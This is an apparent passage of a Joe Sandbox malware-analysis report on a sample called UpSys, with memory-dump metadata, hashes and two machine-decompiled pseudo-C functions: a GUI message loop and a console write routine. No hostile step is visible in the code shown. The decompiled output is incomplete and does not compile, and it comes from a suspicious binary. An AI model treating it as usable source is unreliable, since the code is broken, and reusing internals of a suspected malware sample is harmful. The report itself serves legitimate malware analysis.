                                                                                                                                                                                                        0x140006cec
                                                                                                                                                                                                        0x140006cf6
                                                                                                                                                                                                        0x140006d04
                                                                                                                                                                                                        0x140006d0d
                                                                                                                                                                                                        0x140006d17
                                                                                                                                                                                                        0x140006d23
                                                                                                                                                                                                        0x140006d29
                                                                                                                                                                                                        0x140006d35
                                                                                                                                                                                                        0x140006d42
                                                                                                                                                                                                        0x140006d48
                                                                                                                                                                                                        0x140006d4e
                                                                                                                                                                                                        0x140006d57
                                                                                                                                                                                                        0x140006d60
                                                                                                                                                                                                        0x140006d69
                                                                                                                                                                                                        0x140006d72
                                                                                                                                                                                                        0x140006d7a
                                                                                                                                                                                                        0x140006d81
                                                                                                                                                                                                        0x140006d84
                                                                                                                                                                                                        0x140006d8b
                                                                                                                                                                                                        0x140006d95
                                                                                                                                                                                                        0x140006d9e
                                                                                                                                                                                                        0x140006da7
                                                                                                                                                                                                        0x140006dae
                                                                                                                                                                                                        0x140006db2
                                                                                                                                                                                                        0x140006db8
                                                                                                                                                                                                        0x140006dc1
                                                                                                                                                                                                        0x140006dca
                                                                                                                                                                                                        0x140006dd3
                                                                                                                                                                                                        0x140006ddc
                                                                                                                                                                                                        0x140006de5
                                                                                                                                                                                                        0x140006dec
                                                                                                                                                                                                        0x140006dee
                                                                                                                                                                                                        0x140006df3
                                                                                                                                                                                                        0x140006dff
                                                                                                                                                                                                        0x140006e05
                                                                                                                                                                                                        0x140006e11
                                                                                                                                                                                                        0x140006e18
                                                                                                                                                                                                        0x140006e22
                                                                                                                                                                                                        0x140006e2a
                                                                                                                                                                                                        0x140006e34
                                                                                                                                                                                                        0x140006e3f
                                                                                                                                                                                                        0x140006e46
                                                                                                                                                                                                        0x140006e60
                                                                                                                                                                                                        0x140006e67
                                                                                                                                                                                                        0x140006e70
                                                                                                                                                                                                        0x140006e76
                                                                                                                                                                                                        0x140006e7c
                                                                                                                                                                                                        0x140006e85
                                                                                                                                                                                                        0x140006e8e
                                                                                                                                                                                                        0x140006e97
                                                                                                                                                                                                        0x140006ea0
                                                                                                                                                                                                        0x140006ea6
                                                                                                                                                                                                        0x140006ea8
                                                                                                                                                                                                        0x140006eb0
                                                                                                                                                                                                        0x140006eb6
                                                                                                                                                                                                        0x140006ebc
                                                                                                                                                                                                        0x140006ec6
                                                                                                                                                                                                        0x140006ed1
                                                                                                                                                                                                        0x140006ed7
                                                                                                                                                                                                        0x140006ee5
                                                                                                                                                                                                        0x140006eeb
                                                                                                                                                                                                        0x140006ef6
                                                                                                                                                                                                        0x140006f03
                                                                                                                                                                                                        0x140006f08
                                                                                                                                                                                                        0x140006f14
                                                                                                                                                                                                        0x140006f1e
                                                                                                                                                                                                        0x140006f20
                                                                                                                                                                                                        0x140006f27
                                                                                                                                                                                                        0x140006f29
                                                                                                                                                                                                        0x140006f30
                                                                                                                                                                                                        0x140006f3a
                                                                                                                                                                                                        0x140006f43
                                                                                                                                                                                                        0x140006f4c
                                                                                                                                                                                                        0x140006f53
                                                                                                                                                                                                        0x140006f57
                                                                                                                                                                                                        0x140006f5d
                                                                                                                                                                                                        0x140006f66
                                                                                                                                                                                                        0x140006f6f
                                                                                                                                                                                                        0x140006f78
                                                                                                                                                                                                        0x140006f81
                                                                                                                                                                                                        0x140006f8a
                                                                                                                                                                                                        0x140006f91
                                                                                                                                                                                                        0x140006f93
                                                                                                                                                                                                        0x140006f9c
                                                                                                                                                                                                        0x140006fa5
                                                                                                                                                                                                        0x140006faa
                                                                                                                                                                                                        0x140006fb3
                                                                                                                                                                                                        0x140006fbb
                                                                                                                                                                                                        0x140006fc3
                                                                                                                                                                                                        0x140006fc8
                                                                                                                                                                                                        0x140006fcf
                                                                                                                                                                                                        0x140006fdd
                                                                                                                                                                                                        0x140006fec
                                                                                                                                                                                                        0x140006ffd
                                                                                                                                                                                                        0x140007007
                                                                                                                                                                                                        0x140007011
                                                                                                                                                                                                        0x14000701b
                                                                                                                                                                                                        0x140007025
                                                                                                                                                                                                        0x14000702f
                                                                                                                                                                                                        0x14000703d
                                                                                                                                                                                                        0x140007048
                                                                                                                                                                                                        0x140007052
                                                                                                                                                                                                        0x14000705c
                                                                                                                                                                                                        0x140007066
                                                                                                                                                                                                        0x140007070
                                                                                                                                                                                                        0x14000707a
                                                                                                                                                                                                        0x140007084
                                                                                                                                                                                                        0x140007092
                                                                                                                                                                                                        0x140007098
                                                                                                                                                                                                        0x14000709f
                                                                                                                                                                                                        0x1400070a8
                                                                                                                                                                                                        0x1400070b1
                                                                                                                                                                                                        0x1400070ba
                                                                                                                                                                                                        0x1400070c3
                                                                                                                                                                                                        0x1400070c9
                                                                                                                                                                                                        0x1400070d1
                                                                                                                                                                                                        0x1400070d9
                                                                                                                                                                                                        0x1400070e0
                                                                                                                                                                                                        0x1400070f1
                                                                                                                                                                                                        0x1400070fc
                                                                                                                                                                                                        0x140007106
                                                                                                                                                                                                        0x14000710b
                                                                                                                                                                                                        0x140007116
                                                                                                                                                                                                        0x140007124
                                                                                                                                                                                                        0x140007127
                                                                                                                                                                                                        0x14000712e
                                                                                                                                                                                                        0x140007130
                                                                                                                                                                                                        0x140007137
                                                                                                                                                                                                        0x140007141
                                                                                                                                                                                                        0x14000714a
                                                                                                                                                                                                        0x140007153
                                                                                                                                                                                                        0x14000715a
                                                                                                                                                                                                        0x14000715e
                                                                                                                                                                                                        0x140007164
                                                                                                                                                                                                        0x14000716d
                                                                                                                                                                                                        0x140007176
                                                                                                                                                                                                        0x14000717f
                                                                                                                                                                                                        0x140007188
                                                                                                                                                                                                        0x140007191
                                                                                                                                                                                                        0x140007198
                                                                                                                                                                                                        0x14000719a
                                                                                                                                                                                                        0x1400071ad
                                                                                                                                                                                                        0x1400071bb
                                                                                                                                                                                                        0x1400071d5

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Current_exceptionstd::exception_ptr::_$BuffCharClearParamUpperVariantmalloc
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2641165101-0
                                                                                                                                                                                                        • Opcode ID: a555397d59297f224287d044f934cb359817b8f00c65ff846e2ec0888ed4f2fc
                                                                                                                                                                                                        • Instruction ID: 6617c935120c10d4940a13e10455c4e13bc7274424b7dc2c567eed5c73208fb3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a555397d59297f224287d044f934cb359817b8f00c65ff846e2ec0888ed4f2fc
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 55238972209A8086EA66DF26E4807EE73A5F78DBC4F548116EB4E577B5DF39C890C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400072E0 Relevance: 53.4, APIs: 26, Strings: 4, Instructions: 860windowsleeptimeCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 34%
                                                                                                                                                                                                        			E000000011400072E0(signed long long __ebx, void* __ecx, signed int __edx, void* __ebp, long long __rbx, signed long long __rcx, long long __rsi, long long __rbp, void* __r9, void* __r10, void* __r11, long long __r12, long long __r13, char _a8, signed int _a16, char _a24, char _a32) {
				long long _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				void* _v232;
				long long _v328;
				intOrPtr _v336;
				char _v344;
				long long _v360;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t60;
				intOrPtr _t61;
				intOrPtr _t63;
				short _t68;
				void* _t78;
				void* _t85;
				void* _t87;
				void* _t97;
				void* _t122;
				long long _t123;
				signed long long _t130;
				intOrPtr* _t139;
				void* _t152;

				_t152 = __r11;
				_a16 = __edx;
				_t53 =  *((intOrPtr*)(__rcx + 0x1b8));
				_t139 = __rcx;
				if (_t53 - 0x76c >= 0) goto 0x4003a850;
				_t54 = _t53 + 1;
				 *((intOrPtr*)(__rcx + 0x1b8)) = _t54;
				if (_t54 == 1) goto 0x40007745;
				 *((char*)(__rcx + 0x238)) = 0;
				if ( *((char*)(__rcx + 0x1c8)) != 0) goto 0x400075d8;
				_v16 = __rbx;
				_v24 = __rbp;
				_v32 = __rsi;
				_v40 = __r12;
				_v48 = __r13;
				r13d = 0;
				if ( *((intOrPtr*)(__rcx + 0x238)) != r13b) goto 0x400075b0;
				if ( *0x400b5493 != r13b) goto 0x400073b3;
				_t78 =  *0x400c6a50 - r13b; // 0x0
				if (_t78 != 0) goto 0x4003a86f;
				r9d = 0;
				r8d = 0;
				_v360 = 1;
				if (PeekMessageW(??, ??, ??, ??, ??) != 0) goto 0x400076c0;
				if ( *0x400b5496 == 1) goto 0x4003a897;
				if ( *((intOrPtr*)(__rcx + 0x1c4)) == 1) goto 0x4000758e;
				if ( *0x400c7ed8 != r13d) goto 0x4003a8b4;
				if ( *0x400b549c == 1) goto 0x4003a994;
				if ( *((intOrPtr*)(__rcx + 0x7c8)) != r13d) goto 0x4003a9b2;
				_t85 =  *0x400c6a0c - r13b; // 0x0
				if (_t85 != 0) goto 0x4003ab40;
				if (E000000011400077D0() == 1) goto 0x400074be;
				_t87 =  *0x400c6c90 - r13b; // 0x0
				if (_t87 != 0) goto 0x4003ad4b;
				_t57 =  *((intOrPtr*)(__rcx + 0x1c4));
				if (_t57 == 7) goto 0x4003ae8d;
				if (_t57 == 2) goto 0x40007676;
				if (_t57 == 8) goto 0x4003b220;
				if (_t57 == 9) goto 0x4003b220;
				if (_t57 == 3) goto 0x40007676;
				if (_t57 == 4) goto 0x40007676;
				if (_t57 == 5) goto 0x40007676;
				if (_t57 == 6) goto 0x40007676;
				 *((intOrPtr*)(__rcx + 0x1c0)) = _t57;
				_a16 = _t57 + 1;
				if (__ecx -  *0x400c7f10 > 0) goto 0x4003b08a;
				_t97 = __ecx;
				if (_t97 <= 0) goto 0x4003b08a;
				_t122 = (_a16 << 5) +  *0x400c7f70;
				if (_t97 == 0) goto 0x4003b08a;
				_a32 = r13d;
				_t68 =  *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t122 + 8)))) + 8));
				if (_t68 != 0) goto 0x400074d0;
				E00000001140005380(__rcx, _t122, __r12); // executed
				if ( *((intOrPtr*)(__rcx + 0x1c8)) == r13b) goto 0x40007350;
				goto 0x400075b0;
				if (_t68 != 0x34) goto 0x40007601;
				_t130 = __rcx;
				_v344 = r13d;
				_v360 =  &_a24;
				_v336 = 1;
				_v328 = __r13;
				_t60 = E00000001140006080(__ebx, __ebp, __rcx, _t122,  &_a32,  &_v344, __r10, _t152); // executed
				if (_t60 != 0) goto 0x4000752e;
				if ( *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t122 + 8)) + _t130 * 8)) + 8)) != 0x7f) goto 0x4003afc4;
				_t123 = _v328;
				if (_t123 == 0) goto 0x40007558;
				 *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x18)))) =  *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x18)))) - 1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x18)))) == r13d) goto 0x4003afe6;
				0x40016a60();
				_v328 = __r13;
				_t61 = _v336;
				if (_t61 == 8) goto 0x4003affd;
				if (_t61 == 0xa) goto 0x4003b022;
				if (_t61 == 5) goto 0x4003b040;
				if (_t61 == 0xb) goto 0x4003b050;
				if (_t61 != 0xc) goto 0x400074be;
				goto 0x4003b06c;
				r8d = 0;
				_a8 = r13d;
				E00000001140001EB0( *_t139, _t123,  *((intOrPtr*)( *_t139 + 4)) + _t139,  &_a8, __rsi);
				_t63 =  *((intOrPtr*)(_t139 + 0x1b8));
				 *((char*)(_t139 + 0x238)) = 0;
				if (_t63 == 1) goto 0x4000776f;
				 *((intOrPtr*)(_t139 + 0x1b8)) = _t63 - 1;
				return 0;
			}





























                                                                                                                                                                                                        0x1400072e0
                                                                                                                                                                                                        0x1400072e0
                                                                                                                                                                                                        0x1400072ec
                                                                                                                                                                                                        0x1400072f2
                                                                                                                                                                                                        0x1400072fa
                                                                                                                                                                                                        0x140007300
                                                                                                                                                                                                        0x140007302
                                                                                                                                                                                                        0x14000730b
                                                                                                                                                                                                        0x140007318
                                                                                                                                                                                                        0x14000731f
                                                                                                                                                                                                        0x140007325
                                                                                                                                                                                                        0x14000732d
                                                                                                                                                                                                        0x140007335
                                                                                                                                                                                                        0x14000733d
                                                                                                                                                                                                        0x140007345
                                                                                                                                                                                                        0x14000734d
                                                                                                                                                                                                        0x140007357
                                                                                                                                                                                                        0x140007364
                                                                                                                                                                                                        0x140007366
                                                                                                                                                                                                        0x14000736d
                                                                                                                                                                                                        0x14000737b
                                                                                                                                                                                                        0x14000737e
                                                                                                                                                                                                        0x140007383
                                                                                                                                                                                                        0x140007393
                                                                                                                                                                                                        0x1400073a0
                                                                                                                                                                                                        0x1400073ad
                                                                                                                                                                                                        0x1400073ba
                                                                                                                                                                                                        0x1400073c7
                                                                                                                                                                                                        0x1400073d4
                                                                                                                                                                                                        0x1400073da
                                                                                                                                                                                                        0x1400073e1
                                                                                                                                                                                                        0x1400073f1
                                                                                                                                                                                                        0x1400073f7
                                                                                                                                                                                                        0x1400073fe
                                                                                                                                                                                                        0x140007404
                                                                                                                                                                                                        0x14000740d
                                                                                                                                                                                                        0x140007416
                                                                                                                                                                                                        0x14000741f
                                                                                                                                                                                                        0x140007428
                                                                                                                                                                                                        0x140007431
                                                                                                                                                                                                        0x14000743a
                                                                                                                                                                                                        0x140007443
                                                                                                                                                                                                        0x14000744c
                                                                                                                                                                                                        0x14000745a
                                                                                                                                                                                                        0x14000746b
                                                                                                                                                                                                        0x140007472
                                                                                                                                                                                                        0x140007478
                                                                                                                                                                                                        0x14000747a
                                                                                                                                                                                                        0x140007487
                                                                                                                                                                                                        0x14000748e
                                                                                                                                                                                                        0x140007498
                                                                                                                                                                                                        0x1400074a3
                                                                                                                                                                                                        0x1400074a9
                                                                                                                                                                                                        0x1400074b9
                                                                                                                                                                                                        0x1400074c5
                                                                                                                                                                                                        0x1400074cb
                                                                                                                                                                                                        0x1400074d3
                                                                                                                                                                                                        0x1400074f1
                                                                                                                                                                                                        0x1400074f4
                                                                                                                                                                                                        0x1400074f9
                                                                                                                                                                                                        0x1400074fe
                                                                                                                                                                                                        0x140007506
                                                                                                                                                                                                        0x14000750b
                                                                                                                                                                                                        0x140007512
                                                                                                                                                                                                        0x140007528
                                                                                                                                                                                                        0x14000752e
                                                                                                                                                                                                        0x140007536
                                                                                                                                                                                                        0x14000753c
                                                                                                                                                                                                        0x140007545
                                                                                                                                                                                                        0x14000754e
                                                                                                                                                                                                        0x140007553
                                                                                                                                                                                                        0x140007558
                                                                                                                                                                                                        0x14000755f
                                                                                                                                                                                                        0x140007568
                                                                                                                                                                                                        0x140007571
                                                                                                                                                                                                        0x14000757a
                                                                                                                                                                                                        0x140007583
                                                                                                                                                                                                        0x140007589
                                                                                                                                                                                                        0x140007599
                                                                                                                                                                                                        0x1400075a0
                                                                                                                                                                                                        0x1400075ab
                                                                                                                                                                                                        0x1400075d8
                                                                                                                                                                                                        0x1400075de
                                                                                                                                                                                                        0x1400075e8
                                                                                                                                                                                                        0x1400075f0
                                                                                                                                                                                                        0x140007600

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Message$DispatchPeekTranslateWindow$Current_exceptionDestroyLockSleepTimeUpdatestd::exception_ptr::_time
                                                                                                                                                                                                        • String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
                                                                                                                                                                                                        • API String ID: 2397503138-570651680
                                                                                                                                                                                                        • Opcode ID: 6b27df81ecb2f00057431c87b4ef00a62f89a16475ad21fbae204a90c66db287
                                                                                                                                                                                                        • Instruction ID: 9b00aa8260d799c03860ce9cf5e4becdd49ea7d59a4aa6e1cf7dd5c5286ff9d6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6b27df81ecb2f00057431c87b4ef00a62f89a16475ad21fbae204a90c66db287
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6292A172608A8096EB66DB26E1907EE77A1F78D7C8F504011FB8E43AB5DB3DC554CB01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002241C Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 468COMMONLIBRARYCODECrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 46%
                                                                                                                                                                                                        			E0000000114002241C(void* __ebx, signed long long __ecx, signed int __esi, void* __rax, long long __rbx, void* __rcx, char* __rdx, void* __r8, void* __r11) {
				void* __rsi;
				void* __rbp;
				int _t188;
				int _t193;
				signed int _t196;
				char _t207;
				signed int _t214;
				signed int _t220;
				int _t224;
				int _t227;
				long _t228;
				void* _t234;
				signed int _t236;
				signed int _t237;
				char _t250;
				signed int _t283;
				void* _t285;
				signed int _t288;
				signed int _t290;
				signed long long _t360;
				signed long long _t361;
				intOrPtr _t364;
				signed int* _t371;
				signed int* _t386;
				signed long long _t388;
				intOrPtr* _t389;
				void* _t390;
				signed short* _t391;
				signed long long _t392;
				intOrPtr _t395;
				intOrPtr _t408;
				intOrPtr* _t417;
				char* _t427;
				intOrPtr _t430;
				int _t442;
				short* _t444;
				char* _t445;
				char* _t446;
				short* _t449;
				signed int* _t450;
				int _t454;
				intOrPtr* _t456;
				signed short* _t457;
				void* _t461;
				signed long long _t462;
				void* _t467;
				void* _t474;
				int _t476;
				char* _t477;
				void* _t479;
				void* _t481;
				signed long long _t483;
				signed long long _t485;
				void* _t489;
				signed long long _t491;

				_t475 = __r11;
				_t464 = __r8;
				_t427 = __rdx;
				_t283 = __esi;
				_t234 = __ebx;
				 *((long long*)(_t461 + 0x20)) = __rbx;
				E00000001140030CB0(0x1b30, __rax, _t474, __r11);
				_t462 = _t461 - __rax;
				_t360 =  *0x400aeaa0; // 0x9e268096a868
				_t361 = _t360 ^ _t462;
				 *(_t462 + 0x1b20) = _t361;
				r13d = r8d;
				_t477 = __rdx;
				_t388 = __ecx;
				 *(_t462 + 0x40) = 0;
				if (r8d != 0) goto 0x40022468;
				goto 0x40022b4f;
				if (__rdx != 0) goto 0x4002249b;
				E0000000114001EB04(__rdx, _t361);
				 *_t361 =  *_t361 & 0;
				E0000000114001EAE4(__rdx, _t361);
				 *(_t462 + 0x20) =  *(_t462 + 0x20) & _t442;
				r9d = 0;
				r8d = 0;
				 *_t361 = 0x16;
				E0000000114001EA14(_t361, __ecx, __rcx, __rdx, _t444, _t454, __r8, _t489, _t481);
				goto 0x40022b4f;
				_t483 = _t388 >> 5;
				r15d = r15d & 0x0000001f;
				_t395 =  *((intOrPtr*)(0x400c88c0 + _t483 * 8));
				 *(_t462 + 0x50) = _t483;
				_t491 = _t388 * 0x58;
				sil =  *(_t491 + _t395 + 0x38);
				sil = sil + sil;
				sil = sil >> 1;
				if (sil == 2) goto 0x400224d4;
				if (sil != 1) goto 0x400224dd;
				if (( !r13d & 0x00000001) == 0) goto 0x4002246d;
				if (( *(_t491 + _t395 + 8) & 0x00000020) == 0) goto 0x400224f2;
				_t17 = _t427 + 2; // 0x2
				r8d = _t17;
				E0000000114002A580(_t234, _t234, 0,  *(_t491 + _t395 + 8) & 0x00000020, 0x400c88c0, _t388, _t427, _t444, _t454, _t464);
				if (E0000000114002A7A4(_t234, 0x400c88c0, _t388, _t444, _t454, _t464) == 0) goto 0x400227f2;
				_t364 =  *((intOrPtr*)(0x400c88c0 + _t483 * 8));
				if (( *(_t491 + 0x1400c88c8) & 0x00000080) == 0) goto 0x400227f2;
				E0000000114001D6F0(_t234,  *(_t491 + 0x1400c88c8) & 0x00000080, _t364);
				_t236 = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t364 + 0xc0)) + 0x14)) == 0x00000000;
				if (GetConsoleMode(_t479) == 0) goto 0x400227f2;
				if (_t236 == 0) goto 0x4002255b;
				if (sil == 0) goto 0x400227f2;
				_t188 = GetConsoleCP();
				 *(_t462 + 0x4c) =  *(_t462 + 0x4c) & 0;
				_t389 = _t477;
				 *(_t462 + 0x58) = _t188;
				if (r13d == 0) goto 0x400227ec;
				r14d =  *(_t462 + 0x58);
				if (sil != 0) goto 0x4002270b;
				_t250 =  *_t389;
				r14d = 0;
				_t430 =  *((intOrPtr*)(0x400c88c0 +  *(_t462 + 0x50) * 8));
				r14b = _t250 == 0xa;
				if ( *(_t491 + _t430 + 0x50) == 0) goto 0x400225cd;
				 *((char*)(_t462 + 0x5d)) = _t250;
				r8d = 2;
				 *((char*)(_t462 + 0x5c)) =  *((intOrPtr*)(_t491 + _t430 + 0x4c));
				 *(_t491 + _t430 + 0x50) =  *(_t491 + _t430 + 0x50) & 0x00000000;
				goto 0x40022616;
				if (E00000001140017824(_t250,  *(_t491 + _t430 + 0x50), 0x400c88c0, _t475) == 0) goto 0x4002260d;
				if (_t479 - _t389 + _t477 - 1 <= 0) goto 0x400227bb;
				r8d = 2;
				if (E0000000114002AB88(0, _t462 + 0x44, _t389, _t467, _t474, _t475) == 0xffffffff) goto 0x4002277e;
				_t390 = _t389 + 1;
				goto 0x40022629;
				r8d = 1;
				if (E0000000114002AB88(0, _t462 + 0x44, _t390, _t467, _t474, _t475) == 0xffffffff) goto 0x4002277e;
				 *(_t462 + 0x38) =  *(_t462 + 0x38) & 0x00000000;
				 *(_t462 + 0x30) =  *(_t462 + 0x30) & 0x00000000;
				r9d = 1;
				 *((intOrPtr*)(_t462 + 0x28)) = 5;
				_t391 = _t390 + 1;
				 *(_t462 + 0x20) = _t462 + 0x5c;
				_t193 = WideCharToMultiByte(_t476, _t442, _t444, _t454);
				_t288 = _t193;
				if (_t193 == 0) goto 0x4002277e;
				 *(_t462 + 0x20) =  *(_t462 + 0x20) & 0x00000000;
				r8d = _t288;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0x400227e2;
				if ( *(_t462 + 0x4c) - _t288 < 0) goto 0x4002277e;
				if (r14d == 0) goto 0x40022770;
				_t371 =  *(_t462 + 0x50);
				 *(_t462 + 0x20) =  *(_t462 + 0x20) & 0x00000000;
				 *((intOrPtr*)(_t462 + 0x5c)) = bpl;
				r8d = 0x1400c88b4;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0x400227e2;
				if ( *(_t462 + 0x4c) - 1 < 0) goto 0x4002277e;
				 *(_t462 + 0x40) =  *(_t462 + 0x40) + 1;
				goto 0x40022770;
				if (sil == 1) goto 0x40022717;
				if (sil != 2) goto 0x4002272e;
				_t196 =  *_t391 & 0x0000ffff;
				r14d = 0;
				 *(_t462 + 0x44) = _t196;
				r14b = _t196 == 0xa;
				_t392 =  &(_t391[1]);
				if (sil == 1) goto 0x4002273a;
				if (sil != 2) goto 0x40022770;
				if (E0000000114002C788( *(_t462 + 0x44) & 0x0000ffff) !=  *(_t462 + 0x44)) goto 0x400227e2;
				if (r14d == 0) goto 0x40022770;
				 *(_t462 + 0x44) = 0xd;
				if (E0000000114002C788(0xd) !=  *(_t462 + 0x44)) goto 0x400227e2;
				 *(_t462 + 0x40) =  *(_t462 + 0x40) + 1;
				if (_t236 - r12d - r13d < 0) goto 0x4002257f;
				_t237 =  *(_t462 + 0x4c);
				_t290 =  *(_t462 + 0x40);
				if (_t236 - r12d +  *(_t462 + 0x40) + 4 != 0) goto 0x40022b4b;
				if (_t237 == 0) goto 0x40022b15;
				if (_t237 != 5) goto 0x40022b09;
				E0000000114001EAE4(_t237 - 5, _t371);
				 *_t371 = 9;
				E0000000114001EB04(_t237 - 5, _t371);
				 *_t371 = _t237;
				goto 0x40022493;
				_t485 =  *(_t462 + 0x50);
				 *((char*)(_t491 +  *((intOrPtr*)(0x400c88c0 + _t485 * 8)) + 0x4c)) =  *_t392;
				 *(_t491 +  *((intOrPtr*)(0x400c88c0 + _t485 * 8)) + 0x50) = 1;
				goto 0x40022787;
				GetLastError();
				goto 0x40022782;
				goto 0x40022793;
				_t408 =  *((intOrPtr*)(0x400c88c0 + _t485 * 8));
				if (( *(_t491 + _t408 + 8) & 0x00000080) == 0) goto 0x40022ad3;
				_t456 = _t477;
				if (sil != 0) goto 0x400228e7;
				if (r13d == 0) goto 0x40022b1c;
				_t111 = _t392 + 0xd; // 0xd
				r14d =  *(_t462 + 0x40);
				_t445 = _t462 + 0x720;
				if (_t290 - r12d - r13d >= 0) goto 0x40022862;
				_t207 =  *_t456;
				_t457 = _t456 + 1;
				if (_t207 != 0xa) goto 0x40022851;
				 *_t445 = _t111;
				r14d = r14d + 1;
				_t446 = _t445 + 1;
				 *_t446 = _t207;
				if (_t408 + 2 - 0x13ff < 0) goto 0x40022832;
				 *(_t462 + 0x20) =  *(_t462 + 0x20) & _t392;
				r8d = _t283;
				r8d = r8d - _t207;
				 *(_t462 + 0x40) = r14d;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0x400228da;
				if ( *((intOrPtr*)(_t462 + 0x48)) - _t446 + 1 - _t462 + 0x720 < 0) goto 0x40022787;
				if (_t290 - r12d - r13d < 0) goto 0x40022823;
				goto 0x40022787;
				GetLastError();
				goto 0x40022787;
				if (sil != 2) goto 0x400229c5;
				if (r13d == 0) goto 0x40022b1c;
				r14d =  *(_t462 + 0x40);
				_t449 = _t462 + 0x720;
				if (_t290 - r12d - r13d >= 0) goto 0x40022949;
				_t214 =  *_t457 & 0x0000ffff;
				if (_t214 != 0xa) goto 0x40022935;
				 *_t449 = 0xd;
				r14d = r14d + 2;
				_t450 = _t449 + 2;
				 *_t450 = _t214;
				if ( *((intOrPtr*)(_t491 +  *((intOrPtr*)(0x400c88c0 +  *(_t462 + 0x50) * 8)))) + 4 - 0x13fe < 0) goto 0x4002290e;
				 *(_t462 + 0x20) =  *(_t462 + 0x20) & _t392;
				r8d = _t283;
				r8d = r8d - _t214;
				 *(_t462 + 0x40) = r14d;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0x400228da;
				if ( *((intOrPtr*)(_t462 + 0x48)) -  &(_t450[0]) - _t462 + 0x720 < 0) goto 0x40022787;
				if (_t290 - r12d - r13d < 0) goto 0x400228ff;
				goto 0x40022787;
				if (r13d == 0) goto 0x40022b1c;
				r8d = 0xd;
				_t417 = _t462 + 0x70;
				if (_t290 - r12d - r13d >= 0) goto 0x40022a13;
				_t220 = _t457[1] & 0x0000ffff;
				if (_t220 != 0xa) goto 0x400229ff;
				 *_t417 = r8w;
				 *(_t417 + 2) = _t220;
				if (_t462 + 0x724 - 0x6a8 < 0) goto 0x400229db;
				 *(_t462 + 0x38) =  *(_t462 + 0x38) & 0x00000000;
				 *(_t462 + 0x30) =  *(_t462 + 0x30) & 0x00000000;
				 *((intOrPtr*)(_t462 + 0x28)) = 0xd55;
				asm("cdq");
				r9d = 0 - _t220 >> 1;
				 *(_t462 + 0x20) = _t462 + 0x720;
				_t224 = WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
				r14d = _t224;
